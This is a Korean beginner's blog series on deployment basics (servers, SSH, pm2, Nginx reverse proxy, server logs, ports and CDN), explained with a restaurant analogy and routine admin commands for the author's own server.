한 문장 정리: 서버(Day 6)에 SSH(Day 7)로 접속해서, pm2(Day 8)로 앱을 관리하고, Nginx(Day 9)로 요청을 분배하고, 문제가 생기면 로그(Day 10)로 원인을 찾는다.

📚 2년차 프론트엔드 개발자의 12주 기초 챌린지 Week 2: 배포 환경 이해하기 (Day 6-10) — 마지막!

🍳 레스토랑 비유로 시작하기

레스토랑에서 손님이 "음식이 안 나와요!" 클레임을 걸었다. 그러면 어떻게 원인을 찾나? CCTV를 돌려본다!

• 홀 CCTV → 손님 주문이 제대로 전달됐나? (Nginx 로그)
• 주방 CCTV → 셰프가 요리하다 뭘 잘못했나? (pm2 로그)
• 건물 관리 기록 → 전기가 나가진 않았나? (시스템 로그)

이 CCTV 기록이 바로 로그(Log)다.

1. 로그 = 서버의 CCTV 기록

로그 = 서버에서 일어난 일을 시간순으로 기록한 텍스트 파일

로그 한 줄 예시:

[2026-04-27 14:23:05] ERROR - Cannot read property 'name' of undefined

2. 로그 레벨 — 심각도 등급

실무에서 가장 많이 보는 건 ERROR와 WARN.

3. 로그 종류 3가지

📋 pm2 로그 — 가장 자주 보는 로그 (주방 CCTV)

pm2 logs              # 모든 앱 로그 실시간 보기
pm2 logs prod-app     # prod-app 로그만 보기
pm2 logs --lines 100  # 최근 100줄 보기

코드에서 에러가 나면 여기서 확인. 문제 생기면 일단 이것부터 보자!

📋 Nginx 로그 — 접속 기록 (홀 CCTV)

cat /var/log/nginx/access.log   # 누가 뭘 요청했나
cat /var/log/nginx/error.log    # Nginx 단에서 실패한 것

상태 코드가 500이면 서버 에러, 404면 페이지를 못 찾은 것.

📋 시스템 로그 — 서버 컴퓨터 자체 기록 (건물 관리 기록)

sudo tail -f /var/log/syslog

메모리 부족, 디스크 꽉 참 등 큰 문제가 생겼을 때 확인.

4. 문제 생겼을 때 확인 순서

1단계: pm2 logs → 코드 에러인지 확인 (대부분 여기서 해결!)
    ↓
2단계: Nginx error.log → 요청이 앱까지 도달했는지 확인
    ↓
3단계: 시스템 로그 → 서버 컴퓨터 자체 문제인지 확인

5. 로그가 많을 때 — grep으로 걸러보기

pm2 logs | grep "ERROR"

| (파이프) = "왼쪽 결과에서 오른쪽 조건에 맞는 것만 골라줘"

6. 실전 시나리오: 사이트가 안 열려요!

# 1. SSH로 서버 접속
ssh -i my-key.pem ubuntu@서버IP

# 2. 앱 상태 확인
pm2 list

# 3. 에러 로그 확인
pm2 logs prod-app --lines 50

# 4. 앱은 정상인데 접속 안 되면 Nginx 확인
cat /var/log/nginx/error.log | grep "502"

# 5. 원인 파악 후 재시작
pm2 restart prod-app

📌 꼭 기억할 것 3가지

🎉 Week 2 완료! 전체 정리

Day 6~10에서 배운 것을 한 문장으로:

서버(Day 6)에 SSH(Day 7)로 접속해서, pm2(Day 8)로 앱을 관리하고, Nginx(Day 9)로 요청을 분배하고, 문제가 생기면 로그(Day 10)로 원인을 찾는다.

🔮 다음 Week 3: 실전 배포 흐름

• Day 11: CI/CD란? (GitHub Actions) — git push만 하면 자동 배포!
• Day 12-13: Docker — "내 컴퓨터에서는 되는데 서버에서 안 돼요" 해결

📚 2년차 프론트엔드 개발자의 12주 기초 챌린지 Week 2: 배포 환경 이해하기 (Day 6-10)

🍳 레스토랑 비유로 시작하기

지금까지 등장한 인물:

• 셰프(프로세스) — 실제로 요리하는 사람 (yarn start)
• 주방 매니저(pm2) — 셰프를 관리, 쓰러지면 대타 투입

그런데 손님 응대는 누가 하나?

손님(사용자)이 레스토랑에 들어오면 바로 주방으로 가지 않는다. 홀 매니저가 손님을 맞이하고, 알맞은 주방으로 안내해준다.

이 홀 매니저가 바로 Nginx!

우리 레스토랑에는 주방이 두 개 있다:

• 5008번 주방 — 일반 손님용 (프로덕션)
• 5007번 주방 — 직원 시식용 (개발 확인)

홀 매니저(Nginx)가 "일반 손님은 5008번 주방, 직원은 5007번 주방"으로 안내하는 것.

1. Nginx가 뭐야?

Nginx = 요청을 받아서 알맞은 곳으로 전달해주는 웹 서버

역할 1: 포트 번호 숨기기

사용자 → https://my-site.com → Nginx → localhost:5008 (Next.js 앱)

사용자는 포트 번호를 몰라도, 깔끔한 주소로 접속할 수 있다.

역할 2: 여러 앱으로 요청 분배하기

my-site.com      → Nginx → localhost:5008 (프로덕션 앱)
dev.my-site.com  → Nginx → localhost:5007 (개발 확인용)
api.my-site.com  → Nginx → localhost:3000 (백엔드 API)

서버 한 대에서 여러 앱을 동시에 운영할 수 있다!

2. 포트 번호를 안 쳐도 되는 이유

HTTP의 기본 포트는 80, HTTPS의 기본 포트는 443이다.

브라우저에서 https://my-site.com이라고 치면 자동으로 443번 포트로 요청을 보낸다. Nginx가 이 443번 포트에서 대기하다가 받아서 내부 포트(5008)로 전달하는 것.

사용자: https://my-site.com (자동으로 443번 포트)
    ↓
Nginx: 443번에서 대기하다가 받음
    ↓
localhost:5008로 전달

💡 localhost vs localStorage 헷갈리지 말기!

• localhost = 컴퓨터가 자기 자신을 가리키는 주소
• localStorage = 브라우저에 데이터를 저장하는 기능 완전 다른 개념이다!

3. 리버스 프록시란?

Nginx의 핵심 기능을 리버스 프록시(Reverse Proxy)라고 부른다.

• 프록시(Proxy) = 대리인
• 리버스(Reverse) = 서버 쪽의

리버스 프록시 = 서버를 대신해서 요청을 받아주는 대리인

손님은 홀 매니저(Nginx)하고만 대화하고, 주방이 몇 번인지 전혀 모른다. 서버 내부 구조를 사용자에게 숨기는 것이 핵심!

4. Nginx 설정 파일 맛보기

server {
    listen 80;
    server_name my-site.com;

    location / {
        proxy_pass http://localhost:5008;
    }
}

5. Nginx 있을 때 vs 없을 때

Nginx 없이

사용자가 포트 번호를 직접 알아야 한다:

• http://회사IP:5008 — 프론트엔드
• http://회사IP:3000 — 백엔드 API
• http://회사IP:4000 — 어드민

Nginx 있으면

사용자는 깔끔한 주소만 알면 된다:

• my-site.com → 5008
• api.my-site.com → 3000
• admin.my-site.com → 4000

사용자는 포트 번호를 전혀 모르고, 서버 내부 구조도 모른다!

6. 전체 구조 연결 (Day 6~9 총정리)

사용자가 my-site.com 접속
        ↓
    [ Nginx ] (홀 매니저) — 80/443번 포트에서 대기
        ↓
    proxy_pass → localhost:5008
        ↓
    [ pm2 ] (주방 매니저) — 프로세스 감시·관리
        ↓
    [ Node.js / Next.js ] (셰프) — 실제 응답 생성
        ↓
    HTML, CSS, JS 응답
        ↓
    사용자 화면에 사이트 표시!

📌 오늘의 핵심 정리

1. Nginx — 요청을 받아서 알맞은 앱으로 전달 (홀 매니저)
2. 리버스 프록시 — 서버를 대신해서 요청을 받는 대리인 (서버 내부 구조 숨김)
3. 포트 안 쳐도 되는 이유 — HTTP(80), HTTPS(443)이 기본 포트 + Nginx가 내부 포트로 전달
4. 여러 앱 분배 — 도메인에 따라 다른 포트의 앱으로 연결 가능
5. 전체 흐름 — 사용자 → Nginx → pm2 → Node.js → 응답

💡 프론트엔드 개발자가 Nginx를 직접 설정할 일은 많지 않다. 중요한 건 전체 구조에서 Nginx가 어디에 있고 뭘 하는지 아는 것!

🔮 다음 시간 (Day 10): 로그 확인하기 사이트에 문제가 생겼을 때 "뭐가 잘못됐는지" 어떻게 찾는가? 병원의 환자 차트처럼 서버에도 모든 기록이 남는 로그가 있다!

📚 2년차 프론트엔드 개발자의 12주 기초 챌린지 Week 2: 배포 환경 이해하기 (Day 6-10)

🍳 레스토랑 비유로 시작하기

Day 7에서 SSH로 서버에 접속해서 yarn start를 실행하면 사이트가 켜진다는 걸 배웠다. 그런데 전화(SSH)를 끊으면 셰프가 불을 끄고 퇴근해버린다.

레스토랑이라면 주방 매니저가 있어서:

• 전화가 끊겨도 셰프가 계속 요리하게 관리하고
• 셰프가 쓰러지면(에러) 자동으로 대타 셰프를 투입하고
• 가게를 닫았다 열어도(서버 재부팅) 자동으로 영업 재개한다

이 주방 매니저가 바로 pm2다!

1. 프로세스란?

프로세스 = 실행 중인 프로그램

서버에서 yarn start를 하면 Node.js 프로세스가 하나 생긴다.

레스토랑 비유:

• 프로세스 = 일하고 있는 셰프 한 명
• 사이트 = 셰프가 만드는 음식
• 서버 = 주방 건물
• pm2 = 주방 매니저

💡 "프로세스가 죽는다" = 개발자 관점 (셰프가 쓰러졌다) 💡 "사이트가 죽는다" = 사용자 관점 (음식이 안 나온다) → 같은 현상을 다른 관점에서 보는 것!

2. 크래시(Crash)란?

크래시 = 프로그램이 예상 못한 에러를 만나서 스스로 멈춰버리는 것

셰프가 요리하다가 갑자기 쓰러지는 것. 계획된 퇴근이 아니라 예상 못한 사고.

const data = response.data.items[0].name
// items가 빈 배열이면?
// → Cannot read property 'name' of undefined
// → 💥 크래시! 프로세스가 죽어버림

3. pm2 없이 서버를 켜면 생기는 문제 3가지

4. pm2가 해결해주는 것

5. pm2 기본 명령어

앱 시작하기

# pm2 없이 (SSH 끊으면 죽음)
yarn start -p 5008

# pm2로 시작 (SSH 끊어도 살아있음)
pm2 start yarn --name "my-app" -- start -p 5008

프로세스 목록 보기

pm2 list

┌──────────┬────┬────────┬──────┬────────┐
│ name     │ id │ ↺      │ status│ memory │
├──────────┼────┼────────┼──────┼────────┤
│ prod-app │ 0  │ 0      │ online│ 120mb  │
│ dev-app  │ 1  │ 0      │ online│ 98mb   │
└──────────┴────┴────────┴──────┴────────┘

⚠️ ↺ 숫자가 계속 올라간다면? 앱이 계속 크래시 → pm2가 살리고 → 또 크래시 반복 중이라는 뜻. 코드에 심각한 버그가 있다는 신호! pm2 logs로 에러 확인 필요.

자주 쓰는 명령어 모음

pm2 list              # 실행 중인 프로세스 목록
pm2 logs my-app       # 로그(기록) 보기
pm2 restart my-app    # 재시작
pm2 stop my-app       # 멈추기
pm2 delete my-app     # 완전 삭제
pm2 monit             # 실시간 모니터링

6. 서버 재부팅에도 살아남기: pm2 startup + save

pm2 startup   # 서버 켜지면 pm2가 자동 출근하게 설정
pm2 save      # "이 셰프들 다시 불러야 해" 명단 저장

서버 재부팅되면 셰프들(프로세스)이 전부 퇴근한 상태인데, 주방 매니저(pm2)가 자동 출근(startup)해서 명단표(save)를 보고 셰프들을 다시 불러온다.

서버 재부팅
    ↓
pm2 자동 실행 (startup)
    ↓
저장된 명단 확인 (save)
    ↓
prod-app(5008), dev-app(5007) 자동 시작!

7. 내 프로젝트에 적용하면

# 프로덕션 앱 (사용자용)
pm2 start yarn --name "prod-app" -- start -p 5008

# 개발 확인용 앱 (내부 테스트용)
pm2 start yarn --name "dev-app" -- devStart -p 5007

# 서버 재부팅 대비 설정
pm2 startup
pm2 save

이제 SSH를 끊어도, 에러가 나도, 서버가 재부팅돼도 두 앱 모두 살아남는다!

📌 오늘의 핵심 정리 (비유 구조)

셰프(프로세스)가 쓰러지면 음식(사이트)이 안 나오고, 주방 매니저(pm2)가 셰프를 다시 깨워서 요리를 이어가게 한다. 가게가 닫혔다 열려도(재부팅) 매니저가 명단표 보고 셰프를 자동 소집한다.

🔮 다음 시간 (Day 9): Nginx란? 리버스 프록시 개념 사용자는 https://my-site.com으로 접속하지, https://my-site.com:5008로 접속하지 않는다. 포트 번호 없이 접속하게 해주는 홀 매니저(Nginx)를 배운다!

📚 중간 테스트 후 약한 부분만 모아서 복습하기

1. yarn dev vs yarn start는 로컬/서버 차이가 아니다

❌ 내가 답한 것

yarn dev는 로컬 서버, yarn start는 실서버

✅ 정확한 개념

yarn dev는 개발 모드, yarn start는 프로덕션 모드

둘 다 로컬에서도 실행할 수 있고, 서버에서도 실행할 수 있다. 차이는 "어디서 실행하느냐"가 아니라 "어떤 모드로 실행하느냐"이다.

2. 트래픽 100배 → "가장 빠르게 대응"은 Vercel

❌ 내가 답한 것

세 가지를 각각 설명했지만, "가장 빠른 것"을 콕 집지 못함

✅ 정확한 답

Vercel — 자동 스케일링이라 내가 아무것도 안 해도 알아서 늘려준다

3. SSH 명령어에서 ubuntu는 서버 이름이 아니라 계정 이름

❌ 내가 답한 것

ubuntu = 서버 이름

✅ 정확한 개념

ubuntu = 서버에서 사용할 사용자 계정 이름

하나의 서버에 여러 계정이 있을 수 있다:

• root — 최고 관리자
• ubuntu — AWS에서 기본 생성되는 계정
• deploy — 배포 전용 계정

레스토랑 비유: "주방에 전화해서 주방장 김씨 바꿔주세요"에서 김씨에 해당하는 부분.

ssh -i my-key.pem ubuntu@13.125.200.50
#                  ^^^^^^
#                  서버 이름(X) → 계정 이름(O)

4. "배포"와 "실행(start)"은 다른 단계다

❌ 내가 헷갈린 것

"서버는 이미 켜져 있는데 yarn start는 뭘 켜는 거야?" "배포가 뭐야? 서버에 파일 올리는 거야, 서버를 켜는 거야?"

✅ 정확한 개념

서버 컴퓨터가 켜져 있는 것과 앱(Next.js)이 실행되는 것은 별개이다.

건물이 열려 있어도 → 재료가 없으면 요리 못 함 (배포 안 하면) 재료가 있어도 → 불을 안 켜면 요리 못 함 (start 안 하면)

올바른 전체 흐름

코드 작성 (로컬)
    ↓
yarn build (빌드)
    ↓
빌드된 파일을 서버로 보낸다 ← 여기가 "배포"
    ↓
SSH로 서버 접속
    ↓
yarn start -p 5008 ← 여기가 "실행"
    ↓
사용자 접속 가능!

실무에서는 서버에서 git pull → yarn build → yarn start를 한 번에 하는 경우가 많아서 배포와 실행이 뒤섞여 보이지만, 개념적으로는 다른 단계이다.

📌 한 줄 요약

📚 2년차 프론트엔드 개발자의 12주 기초 챌린지 Week 2: 배포 환경 이해하기 (Day 6-10)

🍳 레스토랑 비유로 시작하기

어제 서버가 "멀리 있는, 24시간 켜져 있는 컴퓨터"라는 걸 배웠다. 그런데 그 컴퓨터가 회사 서버실에 있거나 AWS 데이터센터에 있으면, 어떻게 조작하나?

주방(서버)은 다른 건물에 있다. 직접 가지 않고 관리하려면? 주방에 보안 전화선을 깔아서, 전화로 지시를 내린다.

• 전화를 걸려면 주방 전화번호(IP 주소)를 알아야 하고
• 아무나 전화하면 안 되니까 암호화된 비밀 통화(SSH 암호화)를 쓰고
• 통화가 연결되면 셰프에게 음성으로 명령(터미널 명령어)을 내린다

이게 바로 SSH다!

1. SSH란?

SSH (Secure Shell) = 멀리 있는 컴퓨터에 안전하게 접속해서 명령어를 입력하는 방법

• Secure — 통신 내용이 암호화되어 있어서, 중간에 누가 엿봐도 내용을 알 수 없다
• Shell — 터미널(명령어 입력 창)을 뜻한다

SSH로 서버에 접속하면 내 컴퓨터의 터미널에서 타이핑하지만, 실제로는 서버 컴퓨터에서 실행된다. 내 손은 여기 있지만, 움직이는 건 저쪽 로봇(서버)인 원격 조종이다.

2. SSH 접속의 기본 구조

ssh 사용자이름@서버IP주소

예시:

ssh ubuntu@13.125.200.50

접속 성공하면 터미널 프롬프트가 바뀐다:

# 접속 전 (내 컴퓨터)
myname@my-macbook ~ %

# 접속 후 (서버 컴퓨터)
ubuntu@ip-13-125-200-50:~$

이 순간부터 치는 모든 명령어는 서버 컴퓨터에서 실행된다!

3. 인증 방식: 비밀번호 vs SSH 키(Key)

🔑 방법 1: 비밀번호 방식

ssh ubuntu@13.125.200.50
# → "Password:" 라고 물어봄 → 비밀번호 입력

간단하지만 비밀번호 유출 위험 + 매번 입력해야 하는 번거로움.

🔐 방법 2: SSH 키 방식 (실무 표준!)

비밀번호 대신 열쇠 파일을 사용한다.

ssh -i my-key.pem ubuntu@13.125.200.50

자물쇠와 열쇠 원리:

서버에 달린 자물쇠에 맞는 열쇠를 가진 사람만 접속 가능.

⚠️ 개인 키는 절대 Git에 올리면 안 된다! 서버가 해킹당해도 공개 키(자물쇠)만 있으니 안전하지만, 개인 키가 유출되면 그 자물쇠가 달린 모든 서버에 접속할 수 있게 된다.

4. 실무에서의 SSH 흐름 (내 프로젝트 기준)

1. 로컬에서 코드 작성 + yarn build
       ↓
2. SSH로 서버에 접속
   ssh -i my-key.pem ubuntu@회사서버IP
       ↓
3. 서버에서 코드 가져오기
   git pull origin main
       ↓
4. 서버에서 빌드 + 실행
   yarn build
   yarn start -p 5008
       ↓
5. 사용자가 사이트에 접속 가능!

포트 확인도 가능:

# 서버에 접속한 상태에서
lsof -i :5008    # 5008 포트에서 뭐가 돌아가나?
lsof -i :5007    # 5007 포트에서 뭐가 돌아가나?

5. SSH 접속 후 자주 쓰는 명령어

pwd              # 지금 어디 폴더에 있는지 확인
ls -la           # 폴더 안에 뭐가 있나 보기
cd /home/ubuntu/my-project   # 폴더 이동
cat .env         # 파일 내용 보기
ps aux | grep node   # 현재 실행 중인 프로세스 확인
exit             # 서버 접속 종료

6. SCP — 서버로 파일 보내기

SSH가 "접속해서 명령하는 것"이라면, SCP는 "파일을 보내거나 가져오는 것"이다.

# 내 컴퓨터 → 서버로 파일 보내기
scp -i my-key.pem ./build.zip ubuntu@13.125.200.50:/home/ubuntu/

# 서버 → 내 컴퓨터로 파일 가져오기
scp -i my-key.pem ubuntu@13.125.200.50:/home/ubuntu/error.log ./

SSH는 전화(음성 명령), SCP는 택배(파일 전송). 같은 보안 통로를 쓰지만, 하나는 명령을, 하나는 물건을 보낸다.

7. SSH 끊으면 서버가 죽는다?!

SSH로 접속해서 yarn start를 실행한 뒤, 터미널을 닫으면 사이트가 죽는다!

서버 컴퓨터 자체는 24시간 켜져 있지만, yarn start는 SSH 세션에 묶여 있는 프로세스이기 때문이다.

• SSH 접속 = 주방에 전화 연결
• yarn start = "불 켜고 요리 시작해" 지시
• 전화를 끊으면(SSH 종료) = 통화 중에 시킨 일 전부 중단

SSH로 실행한 프로세스는 그 SSH 세션의 "자식 프로세스"다. 부모(SSH)가 죽으면 자식(yarn start)도 같이 죽는다.

🔮 이 문제를 해결하는 게 바로 pm2 (프로세스 매니저) → Day 8에서!

📌 오늘의 핵심 정리

1. SSH — 멀리 있는 서버에 안전하게 접속해서 명령어를 입력하는 방법
2. 접속 형태 — ssh 사용자@IP주소 또는 ssh -i 키파일 사용자@IP주소
3. 인증 방식 — 비밀번호보다 SSH 키 방식이 실무 표준
4. SSH 키 원리 — 공개 키(자물쇠)는 서버에, 개인 키(열쇠)는 내 컴퓨터에
5. SCP — SSH와 같은 보안 통로로 파일을 전송하는 방법
6. SSH 끊으면 프로세스도 죽는다 — 이 문제를 해결하는 게 pm2
7. 실무 흐름 — SSH 접속 → git pull → yarn build → yarn start

🔮 다음 시간 (Day 8): pm2 / 프로세스 매니저 개념 "전화를 끊어도 셰프가 계속 요리하게 만드는 시스템"

📚 2년차 프론트엔드 개발자의 12주 기초 챌린지 Week 2: 배포 환경 이해하기 (Day 6-10)

🍳 레스토랑 비유로 시작하기

Week 1에서 레시피를 만들고(개발), 재료를 손질해서 세팅하고(빌드), 손님에게 서빙하는(배포) 과정을 배웠다.

그런데 그 요리를 어디서 만드나? 당연히 주방(Kitchen)이 있어야 한다. 이 주방이 바로 서버다.

주방에도 종류가 있다:

• 내 건물에 직접 주방을 만든다 → 자체 서버 (On-premise)
• 공유 주방을 빌린다 → AWS 같은 클라우드 서버
• 배달 전문 키친을 쓴다 (주방 관리는 전부 알아서 해줌) → Vercel 같은 서버리스 플랫폼

1. 서버의 본질: "항상 켜져 있는 컴퓨터"

서버 = 24시간 켜져 있으면서, 요청이 오면 응답해주는 컴퓨터

내 컴퓨터에서 yarn start를 실행하면 localhost:5008에서 사이트가 뜬다. 그 순간 내 컴퓨터가 서버 역할을 하고 있는 것이다.

다만 집에서 컴퓨터를 끄면 사이트도 죽는다. 그래서 24시간 안 꺼지는 컴퓨터가 필요한 것이다.

서버가 하는 일:

• 사용자의 요청(request)을 받는다 (예: "메인 페이지 보여줘")
• 요청에 맞는 파일이나 데이터를 찾아서 돌려준다 (HTML, CSS, JS, API 응답)
• 이걸 24시간 365일 한다

2. 세 가지 서버 유형 비교

🏠 자체 서버 (On-premise)

직접 컴퓨터를 사서, 직접 설치하고, 직접 관리하는 방식. 건물을 사서 주방을 직접 만드는 것.

• ✅ 모든 걸 내 마음대로 제어 가능
• ✅ 월 사용료 없음 (초기 비용은 큼)
• ❌ 고장 나면 내가 고쳐야 함
• ❌ 트래픽 급증 시 대응 어려움 (컴퓨터를 사서 추가해야 하니까)
• ❌ 서버 관리 전문 인력 필요

☁️ 클라우드 서버 (AWS, GCP, NCP 등)

남의 컴퓨터를 빌려 쓰는 방식. 공유 주방을 월세로 빌리는 것.

AWS의 EC2 = "가상 컴퓨터 한 대를 빌려주는 서비스"

• ✅ 컴퓨터를 안 사도 됨
• ✅ 트래픽 늘면 스펙 올릴 수 있음 (스케일링)
• ✅ 서버 하드웨어 관리 불필요
• ❌ 매달 비용 발생
• ❌ OS/Node.js/Nginx 등 소프트웨어 설치는 내가 해야 함

⚡ 서버리스 플랫폼 (Vercel, Netlify 등)

서버 관리를 아예 안 하는 방식. 배달 전문 클라우드 키친. 레시피(코드)만 넘기면 다 알아서 해줌.

• ✅ git push만 하면 자동 빌드 + 배포
• ✅ 서버 관리 불필요
• ✅ 자동 스케일링
• ❌ 세밀한 서버 제어 어려움
• ❌ 무료 범위 넘으면 비용 증가

3. 내 프로젝트는 어떤 방식?

"dev": "next dev -p 4040"
"build": "next build"
"start": "next start -p 5008"
"devStart": "next start -p 5007"

포트를 직접 지정하고, start와 devStart를 나눠서 쓰고 있다.

→ 이건 자체 서버 또는 클라우드 서버(AWS EC2 등)에서 직접 Node.js를 돌리는 환경이다.

Vercel 같은 서버리스 플랫폼에서는 포트 번호를 직접 지정할 필요가 없기 때문이다.

devStart가 따로 있다는 건, 같은 서버에서 프로덕션용(5008)과 개발 확인용(5007)을 동시에 돌리는 구조일 수 있다.

4. 배포 → 서버에서 켜기, 전체 흐름

로컬에서 코드 작성
    ↓
yarn build (빌드 → .next 폴더 생성)
    ↓
빌드된 파일을 서버 컴퓨터로 보낸다 (= 배포)
    ↓
서버에서 yarn start -p 5008 (= 켜기)
    ↓
사용자가 접속 가능! 🎉

배포 = 파일을 서버에 올리는 것이고, 서버에서 실행(start)해야 비로소 사용자가 접속할 수 있다.

Vercel은 이 "켜는" 과정까지 자동이고, 직접 서버를 관리하는 환경에서는 누군가가 서버에 접속해서 직접 켜야 한다.

5. 스케일링 용어 정리

트래픽이 갑자기 늘었을 때:

• 스케일 업 (Scale Up) — 서버 한 대의 스펙을 올린다 (CPU, 메모리 추가). 작은 주방을 큰 주방으로 바꾸는 것.
• 스케일 아웃 (Scale Out) — 같은 서버를 여러 대로 늘린다. 주방을 하나 더 여는 것.

📌 오늘의 핵심 정리

1. 서버 = 24시간 켜져 있으면서 요청에 응답하는 컴퓨터
2. 자체 서버 → 완전한 제어권, 관리 부담 큼
3. 클라우드(AWS) → 빌려 쓴다, 스케일링 가능, 설정은 직접
4. 서버리스(Vercel) → 코드만 넘기면 끝, 편하지만 세밀한 제어 어려움
5. 배포 = 파일을 서버에 올리는 것, 그 다음 서버에서 start 해야 작동
6. 내 프로젝트 → 포트 직접 지정 + start/devStart 분리 = 직접 서버 관리 환경

🔮 다음 시간 (Day 7): SSH란? 서버 접속 해보기 "멀리 있는 서버 컴퓨터를 어떻게 조작하는가?"

프론트엔드 기초 다시 쌓기 챌린지. Week 1 총정리를 하고 나서, 스스로 정리한 개념이 정확한지 확인하고 싶었다. "대충 안다"와 "정확히 안다"는 다르니까. 내가 이해한 걸 말로 풀어보고, 틀린 부분을 보완했다.

🖥️ 로컬 / 개발서버 / 실서버

내가 이해한 것

"로컬 개발서버는 내 컴퓨터, 개발서버와 실서버는 회사 서버"

→ 정답이었다.

[내 컴퓨터 (로컬)]
yarn dev -p 4040
→ localhost:4040
→ 나만 볼 수 있음
→ 인터넷 안 됨 (내 PC 안에서만)

[회사 서버 A (개발 서버)]
yarn devStart -p 5007
→ 개발서버IP:5007
→ 회사 팀원들이 테스트용으로 봄
→ 인터넷으로 접속 가능

[회사 서버 B (실서버)]
yarn start -p 5008
→ 실서버IP:5008 또는 www.회사.com
→ 실제 사용자가 봄
→ 전세계에서 접속 가능

보완된 점

개발서버와 실서버가 물리적으로 같은 컴퓨터일 수도 있다.

[경우 1] 서버가 2대 (큰 회사)
회사 서버 A → 개발 서버 (5007)
회사 서버 B → 실서버 (5008)

[경우 2] 서버가 1대 (작은 회사)
회사 서버 1대 안에서:
├── 포트 5007 → 개발 서버
└── 포트 5008 → 실서버

작은 회사는 비용 아끼려고 한 대 서버에서 포트만 나눠서 돌리는 경우가 많다. 내 프로젝트의 scripts에 5007, 5008이 나뉘어있는 게 바로 이 패턴이다.

🔌 포트 (Port)

내가 이해한 것

"포트는 한 아이피주소(서버)에 각 공간을 말하는건가?"

→ 방향은 맞았지만 표현을 더 정확하게 보완했다.

포트 = 하나의 서버(IP) 안에서 프로그램을 구분하는 번호

아파트 비유

IP 주소 = 아파트 건물 주소 (서울시 강남구 XX아파트)
포트    = 호수 (101호, 102호, 103호...)

[서버 IP: 123.456.789.10]

포트 5007 → 101호 → 개발용 Next.js 앱
포트 5008 → 102호 → 실서버용 Next.js 앱
포트 3306 → 103호 → MySQL (데이터베이스)
포트 80   → 104호 → Nginx (웹서버)

같은 건물(서버)인데 호수(포트)가 다르면 다른 집(프로그램)이다.

주소 읽는 법

http://123.456.789.10:5007
       ─────────────  ────
       아파트 주소       호수
       (IP)            (포트)

자주 쓰는 포트 번호

왜 www.google.com 에는 포트가 없을까?

http://  → 기본 포트 80 (생략됨)
https:// → 기본 포트 443 (생략됨)

https://www.google.com
= https://www.google.com:443

80번과 443번은 너무 자주 쓰이니까 생략이 가능한 것이다. 우리가 포트를 직접 쓰는 건 기본 포트가 아닌 경우 (5007, 5008 같은 것).

🌐 CDN (Content Delivery Network)

내가 이해한 것

"CDN은 코드를 위치상관없이 빠르게 전달하기위해 각 나라어디에나 저장해두고 빠르게 옮겨주는 저장소인가?"

→ 거의 맞았지만 두 가지를 보완했다.

보완 1: "코드"가 아니라 "파일(콘텐츠)"

CDN이 전달하는 것:
✅ JS 파일
✅ CSS 파일
✅ 이미지
✅ 동영상
✅ 폰트
✅ HTML

"코드"만이 아니라 사용자에게 전달되는 모든 파일. 그래서 이름이 Content Delivery Network이다.

보완 2: "저장소"가 아니라 "서버 네트워크"

S3         = 창고 (저장소)
CDN        = 전국 택배 허브 네트워크 (전달망)
S3 + CDN   = 창고에서 꺼내서 전국 허브로 배포

저장소는 S3 같은 거고, CDN은 전달에 특화된 서버 여러 대의 네트워크.

수정된 정의

"CDN은 파일(콘텐츠)을 위치 상관없이 빠르게 전달하기 위해 각 나라 어디에나 저장해두고 빠르게 전송해주는 서버 네트워크"

🎯 세 개념 한 문장 정리

💭 회고

Week 1을 끝내고 나서 "나 이거 진짜 이해한 거 맞나?" 싶어서 배운 개념들을 내 말로 정리해봤다.

결과적으로 큰 틀은 맞았지만 표현이 부정확한 부분이 있었다.

"공간" → "프로그램을 구분하는 번호"
"코드" → "파일(콘텐츠)"
"저장소" → "서버 네트워크"

이런 미세한 차이가 면접에서는 크게 작용한다. "대충 아는 사람"과 "정확히 아는 사람"의 차이가 바로 이런 표현에서 드러나기 때문이다.

앞으로도 배운 것을 내 말로 정리하고, 틀린 부분을 보완하는 습관을 계속 가져가야겠다.

#프론트엔드 #서버 #포트 #CDN #로컬서버 #개발서버 #실서버 #2년차개발자 #기초다시쌓기

프론트엔드 기초 다시 쌓기 챌린지, Week 1이 끝났다. 5일 동안 "내 코드가 어떻게 사용자 화면까지 도달하는가?" 라는 하나의 질문을 파헤쳤다. 이 글은 Day 1~5에서 배운 모든 것을 하나의 흐름으로 정리한 Week 1 회고 포스팅이다.

📍 Week 1 핵심 질문

"내가 VSCode에서 쓴 코드가, 어떻게 사용자 브라우저에서 실행되는가?"

이 질문 하나를 풀기 위해 5일이 걸렸다. 그리고 5일 뒤, 전체 그림이 보이기 시작했다.

🗺️ 전체 흐름 한눈에 보기

[Day 1] 개발 → 빌드 → 배포 (3단계)
   ↓
[Day 2] 빌드하면 무슨 일이? (컴파일, 번들링, 최적화, 정적 생성)
   ↓
[Day 3] 브라우저가 파일을 받는 과정 (Network 탭, 캐시, CDN)
   ↓
[Day 4] 왜 번들링이 필요한가? (Webpack, Vite, Tree Shaking)
   ↓
[Day 5] 개발 서버와 프로덕션 서버는 뭐가 다른가? (HMR, 소스맵, 환경변수)

📖 Day 1. 개발 → 빌드 → 배포

배운 것

코드가 사용자에게 도달하는 과정은 3단계로 나뉜다.

1단계: 개발 (Development)
→ VSCode에서 코드를 짜고 yarn dev로 확인하는 단계

2단계: 빌드 (Build)
→ yarn build로 코드를 최적화된 결과물로 변환하는 단계

3단계: 배포 (Deploy)
→ 빌드된 결과물을 서버에 올려서 사용자가 접속할 수 있게 하는 단계

내 프로젝트 scripts 해부

"dev": "next dev -p 4040"       → 로컬 개발용
"build": "next build"            → 배포 준비 (빌드)
"start": "next start -p 5008"   → 실서버 실행
"devStart": "next start -p 5007" → 개발 서버 실행

.env는 서버에서 관리한다

• .env는 보안 때문에 git에 올리지 않는다
• SSH로 서버에 접속해서 직접 .env 파일을 생성한다
• .env는 서버에 한 번 설치한 가구 같은 것. 매번 새로 만들 필요 없다

📖 Day 2. yarn build가 하는 4가지 일

배운 것

yarn build는 단순히 "파일 만드는 것"이 아니라 4가지 변환 과정을 거친다.

1. 컴파일 (Compile)
   → TypeScript/JSX를 브라우저가 읽을 수 있는 JavaScript로 번역

2. 번들링 (Bundling)
   → 수백 개 파일을 몇 개로 합침

3. 최적화 (Minify)
   → 코드 압축, 변수명 단축, 공백 제거 → 파일 크기 5배 이상 감소

4. 정적 생성 (Static Generation)
   → HTML을 미리 만들어둠 → 접속 시 즉시 전송

.next 폴더 핵심

.next/static/chunks/  → 번들링·압축된 JS 파일들
.next/server/pages/   → 미리 생성된 HTML 파일들

내가 쓴 .tsx 파일은 빌드 후 .next 폴더에 하나도 없다. 번역되고, 합쳐지고, 압축되어서 전혀 다른 파일이 된다.

핵심 규칙

